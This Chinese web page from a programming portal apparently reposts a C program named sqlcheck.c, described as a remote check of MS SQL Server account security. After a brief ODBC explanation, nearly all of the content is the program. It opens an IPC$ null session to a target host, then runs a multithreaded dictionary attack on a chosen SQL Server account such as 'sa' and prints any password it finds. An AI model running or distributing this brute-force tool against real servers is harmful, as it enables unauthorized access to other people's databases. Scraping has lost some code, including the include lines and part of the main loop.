通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 网络赚钱 | 网站地图 | 广告服务 | 服务
当前位置:首页>>编程开发>>sql专区>>正文 新版上线![旧版]
注:打开慢时请稍等
远程检测ms sql server账号安全性

http://www.iyit.net  日期:2006-5-3 19:26:50  来源:  点击:
参加讨论】 odbc是开放数据互连(open database connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。  odbc下现实运用中是一个数据库的访问库,它提供了一组odbc api函数可以提供给编程者使用。对于程序员来说,odbc api函数集实际上等于一个动态连接库(dll)集,可以在应用程序中直接使用它们。

一个应用程序直接调用odbc api函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动odbc数据库应用程序。
<2>与服务器建立ipc session。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行sql操作。
<8>释放语句句柄。
<9>要进行多此sql操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开ipc session。
<14>程序结束。

下面以一个实例来说明远程检测ms sql server账号密码的全过程。

/**********************************************************
module name:sqlcheck.c
date:2000.12.14
web:www.patching.net
notices:copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
username[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
bool cracked=false;//探测密码成功时此值为true
handle hsemaphore,//信标内核对象
hevent;//事件内核对象
long maxthreads,//最大线程数量
activethreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\npower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nusage:%s "
"\nexample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int readdic(char *dic)
{
file *fp;
char tmp[40];

file://打开字典文件
if((fp=fopen(dic,"r"))==null)
{
printf("\ncan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==null)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int connipc(char *remotename)
{
netresource nr;
dword flags=connect_update_profile;
tchar rn[30]="\\\\",
ln[5]="";

strcat(rn,remotename);
strcat(rn,"\\ipc$");

nr.dwtype=resourcetype_disk;
nr.lplocalname=(lptstr)&ln;
nr.lpremotename=(lptstr)&rn;
nr.lpprovider=null;

if(wnetaddconnection2(&nr,(lpstr)"",(lpstr)"",flags)==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int delipc(char *remotename)
{
dword ret;
tchar lpname[30]="\\\\";

strcat(lpname,remotename);
strcat(lpname,"\\ipc$");

ret=wnetcancelconnection2(lpname,connect_update_profile,true);
if(ret==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
dword winapi sqlcheck(pvoid ppwd)
{
file://定义局部变量
char szbuffer[1025];
char *pwd;
sword swstrlen;
sqlhdbc hdbc;
sqlhandle henv;
sqlreturn retcode;//odbc api运行返回值
schar connstr[200];//连接数据库字符串
long previouscount;

file://取得传递过来准备探测的密码
pwd=(char *)ppwd;
file://构造连接数据库字符
sprintf(connstr,"driver={sql server};server=%s;uid=%s;pwd=%s;database=master",
target,username,pwd);
file://puts(connstr);
__try{
file://创建数据库应用的环境句柄
if (sqlallochandle(sql_handle_env,sql_null_handle,&henv) !=sql_success)
{
printf("\nallocate environment handle failed.\n");
exitprocess(1);
}
file://设置odbc版本环境
if (sqlsetenvattr(henv, sql_attr_odbc_version,(sqlpointer)
sql_ov_odbc3, sql_is_integer) != sql_success)
{
printf("\nset the odbc version environment attribute failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://创建连接句柄
if ((retcode= sqlallochandle(sql_handle_dbc,henv,(sqlhdbc far
*)&hdbc)) != sql_success)
{
printf("\nallocate connection handle failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://连接数据源
retcode= sqldriverconnect(hdbc,null,connstr,strlen(connstr),
szbuffer,sizeof(szbuffer),&swstrlen,
sql_driver_complete_required);
if(retcode!=sql_success && retcode != sql_success_with_info)
{
file://连接失败,函数终止
file://printf("\ncouldn't connect to %s mssql server.\n",target);
}
else
{
file://连接远程mssql server数据库成功
cracked=true;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
sqldisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放连接句柄
sqlfreehandle(sql_handle_dbc, hdbc);
file://释放环境句柄
sqlfreehandle(sql_handle_env, henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
releasesemaphore(hsemaphore,1,&previouscount);
file://计算当前活动线程数量
activethreads=maxthreads-previouscount-1;
file://printf("\nactivethreads-->%d.",activethreads);
file://如果活动线程数量为0,那么将事件内核对象hevent改为已通知状态,程序结束
if(activethreads==0)
{
setevent(hevent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
handle hthread;//线程句柄
dword dwthreadid,dwret;
int i=0,err=0;
clock_t start,end;//程序运行的起始和结束时间
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(username,argv[2],sizeof(username));
file://取得并检查用户输入的最大线程数量
maxthreads=atol(argv[4]);
if((maxthreads>100) || (maxthreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(readdic(argv[3])!=0)
return 1;
file://与目标机器建立ipc session
if(connipc(argv[1])!=0)
{
printf("\ncan't built ipc null session!");
return 1;
}
else
{
printf("\nbuilt ipc null session success!\n");
}
file://创建信标内核对象,最大资源数量和可以使用的资源数量均为maxthreads
hsemaphore=createsemaphore(null,maxthreads,maxthreads,null);
if(hsemaphore==null)
{
printf("\ncreatesemaphore() failed.errorcode:%d.",getlasterror());
return 1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hevent=createevent(null,true,false,null);
if(hevent==null)
{
printf("\ncreateevent() failed.errorcode:%d.",getlasterror());
closehandle(hsemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(cracked==true)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,username,dict[i]);
file://创建线程
hthread=createthread(null,0,sqlcheck,(pvoid)&dict[i],0,&dwthreadid);
file://处理创建线程错误的情况
if(hthread==null)
{
err++;
messagebox(null,"thread error","error",mb_ok);
if(err>=50)
break;
}
closehandle(hthread);
sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
waitforsingleobject(hsemaphore,infinite);
}
file://等待事件内核对象通知,最多等待3分钟
dwret=waitforsingleobject(hevent,180000);
switch(dwret)
{
case wait_object_0:
printf("\nall thread done.");
break;
case wait_timeout:
printf("\nwait time out.exit.");
break;
case wait_failed:
printf("\nwaitforsingleobject() failed.");
break;
}
file://断开与目标机器的ipc session
delipc(target);
file://探测密码成功后回显信息
if(cracked==true)
printf("\n\nsuccess!%s sql server user [%s] passwd is [%s].",target,username,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration = (double)(end - start) / clocks_per_sec;
file://显示所用时间
printf("\n\ncomplete.use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0环境下编译通过。



编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:模拟sql server的两个日期处理函数
下一篇:在oracle中利用角色增强应用系统安全性
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
js 216网页安全色调色板 dw 风格 js 216网页安全色调色板 dw 风格 web网页配色方案及安全色谱
第十七章 sql编程(二) 第十七章 sql编程(一) windows2000下安装apache php4 mysql  
windows 2000下安装php4及mysql大揭密  win2000 + php + mysql + tomcat + jsp 超级服务器apache+mysql+php+ssl之完全
超级服务器apache+mysql+php+ssl之完全 linux下快速安装“apache+php3+mysql” 如何集成linux、apache、php4、fastcgi
接触 solaris : 安装 apache + php + m linux服务器配置方案mysql(上) sql server 7.0与以前的版本相比,安全
设置proxy server和sql server实现互联 microsoft sql server 7.0安全问题     mysql安全性指南(3)(转)            
mysql安全性指南 (2)(转)            mysql安全性指南 (1)(转)            怎样才能限制sql server只能让指定的机
在oracle中利用角色增强应用系统安全性 模拟sql server的两个日期处理函数     用dbsql类加快开发mysql数据库程序的速
最新更新 热点排行 推荐新闻
sql server 7.0与以前的版本相比,安全
设置proxy server和sql server实现互联
microsoft sql server 7.0安全问题   
mysql安全性指南(3)(转)           
mysql安全性指南 (2)(转)          
去除dw mx 2004表格宽度辅助
驯服不听话的网页表格
dw mx 2004代码编辑新功能
细品dw mx 2004内建fw技术
用 javascript 写的一个映射表类
dreamweaver里使用层的一些建议
表格边框魔鬼教程
用dreamweaver进行网页优化
用dreamweaver制作拖拽效果
寻找dreamweaver鲜为人知的小秘诀
sql server 7.0与以前的版本相比,安全
sql简明教程(6)
sql简明教程(5)
sql简明教程(4)
sql简明教程(3)
qq珊瑚虫外挂4.0版本发布!
多个广告位招商!
摄影后期系列一:1分钟为数码相片去红眼
教您显示器亮度对比度的调节
qq挂机说明
asp进度条
photoshop通道抠图:给秀发飞扬的mm照
新版上线,今日正式开通!!!
更多精彩图文广告等着您!
asp中使用sql语句教程
sql简明教程(1)
第二十章 开发delphi对象式数据管理功
sql简明教程(1)
vbscript和javascript互相调用 
jsp教程(四)-jsp actions的使用
操作系统被入侵后的修复过程
五一别忘电脑防毒 养成良好上网习惯
google对ie浏览器将捆绑搜索功能表担忧
新版上线,今日正式开通!!!
用photoshop创意图形“岁月”
摄影后期系列一:1分钟为数码相片去红眼

 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息